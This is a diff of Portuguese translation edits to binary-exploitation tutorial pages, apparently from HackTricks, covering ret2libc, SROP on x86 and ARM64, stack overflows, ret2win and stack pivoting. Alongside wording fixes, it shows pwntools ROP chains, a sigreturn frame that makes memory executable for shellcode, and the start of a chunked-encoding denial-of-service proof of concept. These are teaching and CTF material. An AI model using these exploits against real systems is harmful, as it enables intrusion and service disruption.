@ -5,8 +5,8 @@
|
||||
## Resumo Rápido
|
||||
|
||||
1. **Encontrar** o **offset** de overflow
|
||||
2. **Encontrar** gadget `POP_RDI`, gadgets `PUTS_PLT` e `MAIN`
|
||||
3. Usar gadgets anteriores para **vazar o endereço de memória** de puts ou outra função da libc e **encontrar a versão da libc** ([donwload it](https://libc.blukat.me))
|
||||
2. **Encontrar** o gadget `POP_RDI`, os gadgets `PUTS_PLT` e `MAIN`
|
||||
3. Usar os gadgets anteriores para **vazar o endereço de memória** de puts ou outra função da libc e **encontrar a versão da libc** ([donwload it](https://libc.blukat.me))
|
||||
4. Com a biblioteca, **calcular o ROP e explorá-lo**
|
||||
|
||||
## Outros tutoriais e binários para praticar
|
||||
@ -36,7 +36,6 @@ gcc -o vuln vuln.c -fno-stack-protector -no-pie
|
||||
|
||||
Baixe o exploit e coloque-o no mesmo diretório que o binário vulnerável e forneça os dados necessários para o script:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
rop-leaking-libc-template.md
|
||||
{{#endref}}
|
||||
@ -68,11 +67,11 @@ cyclic_find(0x6161616b)
|
||||
Após encontrar o offset (neste caso 40), altere a variável OFFSET dentro do template usando esse valor.\
|
||||
`OFFSET = "A" * 40`
|
||||
|
||||
Outra maneira seria usar: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` do GEF.
|
||||
Outra maneira seria usar: `pattern create 1000` -- _execute até ret_ -- `pattern seach $rsp` do GEF.
|
||||
|
||||
## 2- Encontrando Gadgets
|
||||
|
||||
Agora precisamos encontrar gadgets ROP dentro do binário. Esses gadgets ROP serão úteis para chamar `puts` para encontrar a **libc** sendo usada, e depois para **lançar o exploit final**.
|
||||
Agora precisamos encontrar gadgets ROP dentro do binário. Esses gadgets ROP serão úteis para chamar `puts` para encontrar a **libc** sendo usada e, posteriormente, para **lançar o exploit final**.
|
||||
```python
|
||||
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
|
||||
MAIN_PLT = elf.symbols['main']
|
||||
@ -91,7 +90,7 @@ Nesta etapa, você não precisa executar nada, pois tudo será encontrado pelo p
|
||||
|
||||
## 3- Encontrando a biblioteca libc
|
||||
|
||||
Agora é hora de descobrir qual versão da biblioteca **libc** está sendo usada. Para isso, vamos **vazar** o **endereço** na memória da **função** `puts` e, em seguida, vamos **procurar** em qual **versão da biblioteca** a versão do puts está nesse endereço.
|
||||
Agora é hora de descobrir qual versão da **biblioteca libc** está sendo usada. Para isso, vamos **vazar** o **endereço** na memória da **função** `puts` e, em seguida, vamos **procurar** em qual **versão da biblioteca** a versão do puts está nesse endereço.
|
||||
```python
|
||||
def get_addr(func_name):
|
||||
FUNC_GOT = elf.got[func_name]
|
||||
@ -125,7 +124,7 @@ Para fazer isso, a linha mais importante do código executado é:
|
||||
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||||
```
|
||||
Isso enviará alguns bytes até que **sobrescrever** o **RIP** seja possível: `OFFSET`.\
|
||||
Em seguida, definirá o **endereço** do gadget `POP_RDI` para que o próximo endereço (`FUNC_GOT`) seja salvo no registro **RDI**. Isso ocorre porque queremos **chamar puts** **passando** o **endereço** do `PUTS_GOT`, já que o endereço na memória da função puts é salvo no endereço apontado por `PUTS_GOT`.\
|
||||
Em seguida, definirá o **endereço** do gadget `POP_RDI` para que o próximo endereço (`FUNC_GOT`) seja salvo no registro **RDI**. Isso ocorre porque queremos **chamar puts** **passando** o **endereço** de `PUTS_GOT`, já que o endereço na memória da função puts é salvo no endereço apontado por `PUTS_GOT`.\
|
||||
Depois disso, `PUTS_PLT` será chamado (com `PUTS_GOT` dentro do **RDI**) para que puts **leia o conteúdo** dentro de `PUTS_GOT` (**o endereço da função puts na memória**) e **imprima**.\
|
||||
Finalmente, **a função main é chamada novamente** para que possamos explorar o overflow novamente.
|
||||
|
||||
@ -139,7 +138,7 @@ Mas, em um caso de exploração remota, explicarei aqui como você pode encontr
|
||||
### 3.1- Procurando pela versão da libc (1)
|
||||
|
||||
Você pode procurar qual biblioteca está sendo usada na página da web: [https://libc.blukat.me/](https://libc.blukat.me)\
|
||||
Isso também permitirá que você baixe a versão descoberta da **libc**.
|
||||
Isso também permitirá que você baixe a versão descoberta da **libc**
|
||||
|
||||
.png>)
|
||||
|
||||
@ -188,7 +187,7 @@ Neste ponto, devemos saber qual a biblioteca libc utilizada. Como estamos explor
|
||||
|
||||
Então, no início de `template.py`, mude a variável **libc** para: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Defina o caminho da biblioteca quando souber`
|
||||
|
||||
Dando o **caminho** para a **biblioteca libc**, o restante da **exploração será calculado automaticamente**.
|
||||
Dando o **caminho** para a **biblioteca libc**, o restante do **exploit será calculado automaticamente**.
|
||||
|
||||
Dentro da função `get_addr`, o **endereço base da libc** será calculado:
|
||||
```python
|
||||
@ -229,7 +228,7 @@ Finalmente, o **endereço da função exit** é **chamado** para que o processo
|
||||
## 4(2)- Usando ONE_GADGET
|
||||
|
||||
Você também pode usar [**ONE_GADGET** ](https://github.com/david942j/one_gadget) para obter um shell em vez de usar **system** e **"/bin/sh". ONE_GADGET** encontrará dentro da biblioteca libc alguma maneira de obter um shell usando apenas um **endereço ROP**.\
|
||||
No entanto, normalmente há algumas restrições, as mais comuns e fáceis de evitar são como `[rsp+0x30] == NULL` Como você controla os valores dentro do **RSP**, você só precisa enviar mais alguns valores NULL para que a restrição seja evitada.
|
||||
No entanto, normalmente há algumas restrições, as mais comuns e fáceis de evitar são como `[rsp+0x30] == NULL` Como você controla os valores dentro do **RSP**, você só precisa enviar alguns valores NULL a mais para que a restrição seja evitada.
|
||||
|
||||
.png>)
|
||||
```python
|
||||
|
||||
@ -94,7 +94,7 @@ rop += popRax
|
||||
rop += p64(0x6b6000) # Writable memory
|
||||
rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
||||
```
|
||||
## Gadgets Faltando
|
||||
## Gadgets em Falta
|
||||
|
||||
Se você está **sem gadgets**, por exemplo, para escrever `/bin/sh` na memória, você pode usar a **técnica SROP para controlar todos os valores dos registradores** (incluindo RIP e registradores de parâmetros) a partir da pilha:
|
||||
|
||||
|
||||
@ -45,8 +45,8 @@ Para preparar a chamada para o **syscall**, é necessária a seguinte configura
|
||||
|
||||
- `x8: 221 Especificar sys_execve`
|
||||
- `x0: ptr para "/bin/sh" especificar arquivo a ser executado`
|
||||
- `x1: 0 especificar que nenhum argumento foi passado`
|
||||
- `x2: 0 especificar que nenhuma variável de ambiente foi passada`
|
||||
- `x1: 0 especificar nenhum argumento passado`
|
||||
- `x2: 0 especificar nenhuma variável de ambiente passada`
|
||||
|
||||
Usando ROPgadget.py, consegui localizar os seguintes gadgets na biblioteca libc da máquina:
|
||||
```armasm
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# SROP - Programação Orientada a Sigreturn
|
||||
# SROP - Sigreturn-Oriented Programming
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -8,13 +8,14 @@
|
||||
|
||||
Após o manipulador de sinal terminar, o programa precisa **retomar seu estado anterior** como se nada tivesse acontecido. É aqui que **`sigreturn`** entra em cena. Ele ajuda o programa a **retornar do manipulador de sinal** e restaura o estado do programa limpando o quadro de pilha (a seção da memória que armazena chamadas de função e variáveis locais) que foi usado pelo manipulador de sinal.
|
||||
|
||||
A parte interessante é como **`sigreturn`** restaura o estado do programa: ele faz isso armazenando **todos os valores dos registradores da CPU na pilha.** Quando o sinal não está mais bloqueado, **`sigreturn` remove esses valores da pilha**, efetivamente redefinindo os registradores da CPU para seu estado antes que o sinal fosse tratado. Isso inclui o registrador do ponteiro da pilha (RSP), que aponta para o topo atual da pilha.
|
||||
A parte interessante é como **`sigreturn`** restaura o estado do programa: ele faz isso armazenando **todos os valores dos registradores da CPU na pilha.** Quando o sinal não está mais bloqueado, **`sigreturn` retira esses valores da pilha**, efetivamente redefinindo os registradores da CPU para seu estado antes que o sinal fosse tratado. Isso inclui o registrador do ponteiro da pilha (RSP), que aponta para o topo atual da pilha.
|
||||
|
||||
> [!CAUTION]
|
||||
> Chamar a syscall **`sigreturn`** de uma cadeia ROP e **adicionando os valores dos registradores** que gostaríamos que fossem carregados na **pilha** é possível **controlar** todos os valores dos registradores e, portanto, **chamar** por exemplo a syscall `execve` com `/bin/sh`.
|
||||
> Chamar a syscall **`sigreturn`** de uma cadeia ROP e **adicionar os valores dos registradores** que gostaríamos que fossem carregados na **pilha** torna possível **controlar** todos os valores dos registradores e, portanto, **chamar** por exemplo a syscall `execve` com `/bin/sh`.
|
||||
|
||||
Note como isso seria um **tipo de Ret2syscall** que torna muito mais fácil controlar parâmetros para chamar outras Ret2syscalls:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../rop-syscall-execv/
|
||||
{{#endref}}
|
||||
@ -55,7 +56,7 @@ Se você está curioso, esta é a **estrutura sigcontext** armazenada na pilha p
|
||||
| __reserved | sigmask |
|
||||
+--------------------+--------------------+
|
||||
```
|
||||
Para uma melhor explicação, confira também:
|
||||
Para uma melhor explicação, verifique também:
|
||||
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
@ -134,7 +135,7 @@ target.interactive()
|
||||
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
|
||||
- 64 bits, sem relro, sem canário, nx, sem pie. Simples buffer overflow abusando da função `gets` com falta de gadgets que realiza um [**ret2syscall**](../rop-syscall-execv/index.html). A cadeia ROP escreve `/bin/sh` na `.bss` chamando `gets` novamente, abusa da função **`alarm`** para definir eax como `0xf` para chamar um **SROP** e executar um shell.
|
||||
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
|
||||
- Programa em Assembly de 64 bits, sem relro, sem canário, nx, sem pie. O fluxo permite escrever na pilha, controlar vários registradores e chamar uma syscall e então chama `exit`. A syscall selecionada é um `sigreturn` que irá definir registradores e mover `eip` para chamar uma instrução de syscall anterior e executar `memprotect` para definir o espaço binário como `rwx` e definir o ESP no espaço binário. Seguindo o fluxo, o programa chamará `read` novamente para o ESP, mas neste caso o ESP estará apontando para a próxima instrução, então passando um shellcode ele será escrito como a próxima instrução e executado.
|
||||
- Programa em Assembly de 64 bits, sem relro, sem canário, nx, sem pie. O fluxo permite escrever na pilha, controlar vários registradores e chamar uma syscall e então chama `exit`. A syscall selecionada é um `sigreturn` que irá definir registradores e mover `eip` para chamar uma instrução de syscall anterior e executar `memprotect` para definir o espaço binário como `rwx` e definir o ESP no espaço binário. Seguindo o fluxo, o programa chamará `read` para o ESP novamente, mas neste caso o ESP estará apontando para a próxima instrução, então passando um shellcode irá escrevê-lo como a próxima instrução e executá-lo.
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
|
||||
- SROP é usado para dar privilégios de execução (memprotect) ao local onde um shellcode foi colocado.
|
||||
|
||||
|
||||
@ -189,13 +189,13 @@ python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/nul
|
||||
# With rp++ ≥ 1.0.9 (arm64 support)
|
||||
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
|
||||
```
|
||||
Ambas as ferramentas entendem **AArch64** codificações e listarão sequências candidatas `mov x8, 0x8b ; svc #0` que podem ser usadas como o *gadget SROP*.
|
||||
Ambas as ferramentas entendem codificações **AArch64** e listarão sequências candidatas `mov x8, 0x8b ; svc #0` que podem ser usadas como o *gadget SROP*.
|
||||
|
||||
> Nota: Quando os binários são compilados com **BTI**, a primeira instrução de cada alvo de ramificação indireta válida é `bti c`. Trampolins `sigreturn` colocados pelo linker já incluem o pad de aterrissagem BTI correto, então o gadget permanece utilizável a partir de código não privilegiado.
|
||||
|
||||
## Encadeando SROP com ROP (pivot via `mprotect`)
|
||||
|
||||
`rt_sigreturn` nos permite controlar *todos* os registradores de uso geral e `pstate`. Um padrão comum em x86 é: 1) usar SROP para chamar `mprotect`, 2) pivotar para uma nova pilha executável contendo shell-code. A mesma ideia funciona em ARM64:
|
||||
`rt_sigreturn` nos permite controlar *todos* os registradores de uso geral e `pstate`. Um padrão comum em x86 é: 1) usar SROP para chamar `mprotect`, 2) pivotar para uma nova pilha executável contendo shell-code. A mesma ideia funciona no ARM64:
|
||||
```python
|
||||
frame = SigreturnFrame()
|
||||
frame.x8 = constants.SYS_mprotect # 226
|
||||
@ -205,7 +205,7 @@ frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
|
||||
frame.sp = 0x400000 + 0x100 # new pivot
|
||||
frame.pc = svc_call # will re-enter kernel
|
||||
```
|
||||
Após enviar o frame, você pode enviar um segundo estágio contendo shell-code bruto em `0x400000+0x100`. Porque **AArch64** usa endereçamento *PC-relative*, isso é frequentemente mais conveniente do que construir grandes cadeias ROP.
|
||||
Após enviar o frame, você pode enviar um segundo estágio contendo código shell bruto em `0x400000+0x100`. Porque **AArch64** usa endereçamento *PC-relative*, isso é frequentemente mais conveniente do que construir grandes cadeias ROP.
|
||||
|
||||
## Validação do Kernel, PAC e Shadow-Stacks
|
||||
|
||||
@ -223,7 +223,7 @@ Shadow-Call-Stacks introduzidos no ARMv8.9 (e já habilitados no ChromeOS 1.27+)
|
||||
|
||||
## Referências
|
||||
|
||||
* [Documentação de manipulação de sinal arm64 do Linux](https://docs.kernel.org/arch/arm64/signal.html)
|
||||
* [Documentação de manipulação de sinal do Linux arm64](https://docs.kernel.org/arch/arm64/signal.html)
|
||||
* [LWN – "AArch64 branch protection comes to GCC and glibc" (2023)](https://lwn.net/Articles/915041/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
## O que é um Stack Overflow
|
||||
|
||||
Um **stack overflow** é uma vulnerabilidade que ocorre quando um programa escreve mais dados na pilha do que foi alocado para armazená-los. Esses dados em excesso **sobrescreverão o espaço de memória adjacente**, levando à corrupção de dados válidos, interrupção do fluxo de controle e potencialmente à execução de código malicioso. Esse problema geralmente surge devido ao uso de funções inseguras que não realizam verificação de limites na entrada.
|
||||
Um **stack overflow** é uma vulnerabilidade que ocorre quando um programa escreve mais dados na pilha do que foi alocado para armazená-los. Esses dados em excesso **sobrescreverão o espaço de memória adjacente**, levando à corrupção de dados válidos, interrupção do fluxo de controle e, potencialmente, à execução de código malicioso. Esse problema geralmente surge devido ao uso de funções inseguras que não realizam verificação de limites na entrada.
|
||||
|
||||
O principal problema dessa sobrescrita é que o **ponteiro de instrução salvo (EIP/RIP)** e o **ponteiro de base salvo (EBP/RBP)** para retornar à função anterior estão **armazenados na pilha**. Portanto, um atacante poderá sobrescrever esses valores e **controlar o fluxo de execução do programa**.
|
||||
O principal problema dessa sobrescrição é que o **ponteiro de instrução salvo (EIP/RIP)** e o **ponteiro de base salvo (EBP/RBP)** para retornar à função anterior estão **armazenados na pilha**. Portanto, um atacante poderá sobrescrever esses valores e **controlar o fluxo de execução do programa**.
|
||||
|
||||
A vulnerabilidade geralmente surge porque uma função **copia para dentro da pilha mais bytes do que a quantidade alocada para ela**, podendo assim sobrescrever outras partes da pilha.
|
||||
A vulnerabilidade geralmente surge porque uma função **copia na pilha mais bytes do que a quantidade alocada para ela**, conseguindo assim sobrescrever outras partes da pilha.
|
||||
|
||||
Algumas funções comuns vulneráveis a isso são: **`strcpy`, `strcat`, `sprintf`, `gets`**... Além disso, funções como **`fgets`**, **`read` & `memcpy`** que aceitam um **argumento de comprimento**, podem ser usadas de maneira vulnerável se o comprimento especificado for maior do que o alocado.
|
||||
|
||||
@ -50,7 +50,7 @@ pattern search $rsp #Search the offset given the content of $rsp
|
||||
```
|
||||
## Explorando Estouro de Pilha
|
||||
|
||||
Durante um estouro (supondo que o tamanho do estouro seja grande o suficiente), você poderá **sobrescrever** valores de variáveis locais dentro da pilha até alcançar o **EBP/RBP e EIP/RIP salvos (ou até mais)**.\
|
||||
Durante um estouro (supondo que o tamanho do estouro seja grande o suficiente) você poderá **sobrescrever** valores de variáveis locais dentro da pilha até alcançar o **EBP/RBP e EIP/RIP salvos (ou até mais)**.\
|
||||
A maneira mais comum de abusar desse tipo de vulnerabilidade é **modificando o endereço de retorno** para que, quando a função terminar, o **fluxo de controle seja redirecionado para onde o usuário especificou** neste ponteiro.
|
||||
|
||||
No entanto, em outros cenários, apenas **sobrescrever alguns valores de variáveis na pilha** pode ser suficiente para a exploração (como em desafios CTF fáceis).
|
||||
@ -84,7 +84,7 @@ Esta técnica é a estrutura fundamental para contornar a principal proteção d
|
||||
|
||||
## Estouros de Heap
|
||||
|
||||
Um estouro nem sempre ocorrerá na pilha, também pode ocorrer no **heap**, por exemplo:
|
||||
Um estouro não ocorrerá sempre na pilha, também pode ocorrer no **heap**, por exemplo:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -142,7 +142,7 @@ alloca(sizeof(struct evbuffer_iovec) * n);
|
||||
2. Cada segmento causa a alocação de um **`evbuffer_iovec` de 16 bytes** na **pilha** via `alloca()` – **sem nenhum limite superior**.
|
||||
3. Ao abusar do **_chunked transfer-encoding_ HTTP**, um cliente pode forçar a solicitação a ser dividida em **centenas de milhares de chunks de 6 bytes** (`"1\r\nA\r\n"`). Isso faz com que `n` cresça sem limites até que a pilha se esgote.
|
||||
|
||||
#### Prova de Conceito (DoS)
|
||||
#### Proof-of-Concept (DoS)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import socket, sys
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
Desafios **Ret2win** são uma categoria popular em competições de **Capture The Flag (CTF)**, particularmente em tarefas que envolvem **binary exploitation**. O objetivo é explorar uma vulnerabilidade em um binário dado para executar uma função específica, não invocada, dentro do binário, frequentemente nomeada algo como `win`, `flag`, etc. Esta função, quando executada, geralmente imprime uma flag ou uma mensagem de sucesso. O desafio normalmente envolve sobrescrever o **endereço de retorno** na pilha para desviar o fluxo de execução para a função desejada. Aqui está uma explicação mais detalhada com exemplos:
|
||||
Desafios **Ret2win** são uma categoria popular em competições de **Capture The Flag (CTF)**, particularmente em tarefas que envolvem **binary exploitation**. O objetivo é explorar uma vulnerabilidade em um binário dado para executar uma função específica, não invocada, dentro do binário, frequentemente nomeada algo como `win`, `flag`, etc. Esta função, quando executada, geralmente imprime uma bandeira ou uma mensagem de sucesso. O desafio normalmente envolve sobrescrever o **endereço de retorno** na pilha para desviar o fluxo de execução para a função desejada. Aqui está uma explicação mais detalhada com exemplos:
|
||||
|
||||
### Exemplo em C
|
||||
|
||||
@ -63,13 +63,13 @@ Para encontrar o endereço da função `win`, você pode usar **gdb**, **objdump
|
||||
```sh
|
||||
objdump -d vulnerable | grep win
|
||||
```
|
||||
Este comando mostrará a você a montagem da função `win`, incluindo seu endereço inicial.
|
||||
Este comando mostrará a você a montagem da função `win`, incluindo seu endereço de início.
|
||||
|
||||
O script Python envia uma mensagem cuidadosamente elaborada que, quando processada pela `vulnerable_function`, transborda o buffer e sobrescreve o endereço de retorno na pilha com o endereço de `win`. Quando `vulnerable_function` retorna, em vez de retornar para `main` ou sair, ele salta para `win`, e a mensagem é impressa.
|
||||
|
||||
## Proteções
|
||||
|
||||
- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **deve ser desativado** para que o endereço seja confiável em todas as execuções ou o endereço onde a função será armazenada não será sempre o mesmo e você precisaria de algum leak para descobrir onde a função win está carregada. Em alguns casos, quando a função que causa o transbordo é `read` ou similar, você pode fazer uma **Sobrescrita Parcial** de 1 ou 2 bytes para mudar o endereço de retorno para ser a função win. Devido ao funcionamento do ASLR, os últimos três nibble hexadecimais não são randomizados, então há uma **chance de 1/16** (1 nibble) de obter o endereço de retorno correto.
|
||||
- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **deve ser desativado** para que o endereço seja confiável em todas as execuções ou o endereço onde a função será armazenada não será sempre o mesmo e você precisaria de algum leak para descobrir onde a função win está carregada. Em alguns casos, quando a função que causa o transbordamento é `read` ou similar, você pode fazer uma **Sobrescrita Parcial** de 1 ou 2 bytes para mudar o endereço de retorno para ser a função win. Devido ao funcionamento do ASLR, os últimos três nibble hexadecimais não são randomizados, então há uma **chance de 1/16** (1 nibble) de obter o endereço de retorno correto.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) também devem ser desativados ou o endereço de retorno EIP comprometido nunca será seguido.
|
||||
|
||||
## Outros exemplos & Referências
|
||||
@ -78,11 +78,11 @@ O script Python envia uma mensagem cuidadosamente elaborada que, quando processa
|
||||
- [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
|
||||
- 32 bits, sem ASLR
|
||||
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
|
||||
- 64 bits com ASLR, com um leak do endereço do bin
|
||||
- 64 bits com ASLR, com um leak do endereço do binário
|
||||
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
|
||||
- 64 bits, sem ASLR
|
||||
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
|
||||
- 32 bits, sem ASLR, transbordo pequeno duplo, primeiro para transbordar a pilha e aumentar o tamanho do segundo transbordo
|
||||
- 32 bits, sem ASLR, transbordamento pequeno duplo, primeiro para transbordar a pilha e aumentar o tamanho do segundo transbordamento
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
||||
- 32 bits, relro, sem canário, nx, sem pie, string de formato para sobrescrever o endereço `fflush` com a função win (ret2win)
|
||||
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
|
||||
@ -90,11 +90,11 @@ O script Python envia uma mensagem cuidadosamente elaborada que, quando processa
|
||||
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
|
||||
- 32 bits, nx, nada mais, sobrescrita parcial de EIP (1Byte) para chamar a função win
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
|
||||
- O programa está apenas validando o último byte de um número para verificar o tamanho da entrada, portanto, é possível adicionar qualquer tamanho desde que o último byte esteja dentro da faixa permitida. Então, a entrada cria um transbordo de buffer explorado com um ret2win.
|
||||
- O programa está apenas validando o último byte de um número para verificar o tamanho da entrada, portanto, é possível adicionar qualquer tamanho desde que o último byte esteja dentro da faixa permitida. Então, a entrada cria um transbordamento de buffer explorado com um ret2win.
|
||||
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
|
||||
- 64 bits, relro, sem canário, nx, pie. Sobrescrita parcial para chamar a função win (ret2win)
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
|
||||
- arm64, PIE, dá um leak PIE a função win é na verdade 2 funções, então gadget ROP que chama 2 funções
|
||||
- arm64, PIE, dá um leak PIE, a função win é na verdade 2 funções, então gadget ROP que chama 2 funções
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
|
||||
- ARM64, off-by-one para chamar uma função win
|
||||
|
||||
|
||||
@ -4,7 +4,6 @@
|
||||
|
||||
Encontre uma introdução ao arm64 em:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
@ -145,7 +144,7 @@ Você pode encontrar outro exemplo de off-by-one em ARM64 em [https://8ksec.io/a
|
||||
|
||||
### Off-by-2
|
||||
|
||||
Sem um leak, não sabemos o endereço exato da função vencedora, mas podemos saber o deslocamento da função em relação ao binário e, sabendo que o endereço de retorno que estamos sobrescrevendo já está apontando para um endereço próximo, é possível vazar o deslocamento para a função win (**0x7d4**) neste caso e apenas usar esse deslocamento:
|
||||
Sem um leak, não sabemos o endereço exato da função vencedora, mas podemos saber o deslocamento da função em relação ao binário e sabendo que o endereço de retorno que estamos sobrescrevendo já está apontando para um endereço próximo, é possível vazar o deslocamento para a função win (**0x7d4**) neste caso e apenas usar esse deslocamento:
|
||||
|
||||
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
```python
|
||||
|
||||
@ -22,7 +22,7 @@ E como o **EBP/RBP salvo está na pilha** antes do EIP/RIP salvo, é possível c
|
||||
|
||||
Essa técnica é particularmente útil quando você pode **alterar o EBP/RBP salvo, mas não tem uma maneira direta de mudar o EIP/RIP**. Ela aproveita o comportamento do epílogo da função.
|
||||
|
||||
Se, durante a execução de `fvuln`, você conseguir injetar um **EBP falso** na pilha que aponte para uma área na memória onde o endereço do seu shellcode/cadeia ROP está localizado (mais 8 bytes em amd64 / 4 bytes em x86 para contabilizar o `pop`), você pode controlar indiretamente o RIP. À medida que a função retorna, `leave` define RSP para o local criado e o subsequente `pop rbp` diminui RSP, **fazendo efetivamente apontar para um endereço armazenado pelo atacante ali**. Então `ret` usará esse endereço.
|
||||
Se, durante a execução de `fvuln`, você conseguir injetar um **EBP falso** na pilha que aponte para uma área na memória onde o endereço do seu shellcode/cadeia ROP está localizado (mais 8 bytes em amd64 / 4 bytes em x86 para contabilizar o `pop`), você pode controlar indiretamente o RIP. À medida que a função retorna, `leave` define RSP para o local criado e o subsequente `pop rbp` diminui RSP, **efetivamente fazendo com que aponte para um endereço armazenado pelo atacante ali**. Então `ret` usará esse endereço.
|
||||
|
||||
Note como você **precisa saber 2 endereços**: o endereço para onde ESP/RSP vai, e o valor armazenado nesse endereço que `ret` consumirá.
|
||||
|
||||
@ -33,17 +33,17 @@ Primeiro, você precisa saber um **endereço onde pode escrever dados/endereço
|
||||
Em seguida, você precisa escolher o endereço usado por `ret` que **transferirá a execução**. Você poderia usar:
|
||||
|
||||
- Um endereço válido [**ONE_GADGET**](https://github.com/david942j/one_gadget).
|
||||
- O endereço de **`system()`** seguido pelo retorno apropriado e argumentos (em x86: `ret` alvo = `&system`, então 4 bytes de lixo, depois `&"/bin/sh"`).
|
||||
- O endereço de **`system()`** seguido pelo retorno e argumentos apropriados (em x86: `ret` alvo = `&system`, então 4 bytes de lixo, depois `&"/bin/sh"`).
|
||||
- O endereço de um gadget **`jmp esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguido de shellcode inline.
|
||||
- Uma cadeia [**ROP**](../rop-return-oriented-programing/index.html) em memória gravável.
|
||||
|
||||
Lembre-se de que antes de qualquer um desses endereços na área controlada, deve haver **espaço para o `pop ebp/rbp`** do `leave` (8B em amd64, 4B em x86). Você pode abusar desses bytes para definir um **segundo EBP falso** e manter o controle após a primeira chamada retornar.
|
||||
Lembre-se de que antes de qualquer um desses endereços na área controlada, deve haver **espaço para o `pop ebp/rbp`** de `leave` (8B em amd64, 4B em x86). Você pode abusar desses bytes para definir um **segundo EBP falso** e manter o controle após a primeira chamada retornar.
|
||||
|
||||
#### Exploit Off-By-One
|
||||
|
||||
Há uma variante usada quando você pode **apenas modificar o byte menos significativo do EBP/RBP salvo**. Nesse caso, a localização de memória que armazena o endereço para o qual pular com **`ret`** deve compartilhar os três/cinco primeiros bytes com o EBP/RBP original para que uma sobrescrita de 1 byte possa redirecioná-lo. Normalmente, o byte baixo (offset 0x00) é aumentado para pular o mais longe possível dentro de uma página/região alinhada próxima.
|
||||
|
||||
É comum também usar um RET sled na pilha e colocar a verdadeira cadeia ROP no final para tornar mais provável que o novo RSP aponte dentro do sled e a cadeia ROP final seja executada.
|
||||
É comum também usar um RET sled na pilha e colocar a verdadeira cadeia ROP no final para aumentar a probabilidade de que o novo RSP aponte dentro do sled e a cadeia ROP final seja executada.
|
||||
|
||||
### Encadeamento de EBP
|
||||
|
||||
@ -51,7 +51,7 @@ Colocando um endereço controlado no slot de `EBP` salvo da pilha e um gadget `l
|
||||
|
||||
Agora `RSP` está controlado e a próxima instrução é `ret`. Coloque na memória controlada algo como:
|
||||
|
||||
- `&(próximo EBP falso)` -> Carregado por `pop ebp/rbp` do `leave`.
|
||||
- `&(próximo EBP falso)` -> Carregado por `pop ebp/rbp` de `leave`.
|
||||
- `&system()` -> Chamado por `ret`.
|
||||
- `&(leave;ret)` -> Após `system` terminar, move RSP para o próximo EBP falso e continua.
|
||||
- `&("/bin/sh")` -> Argumento para `system`.
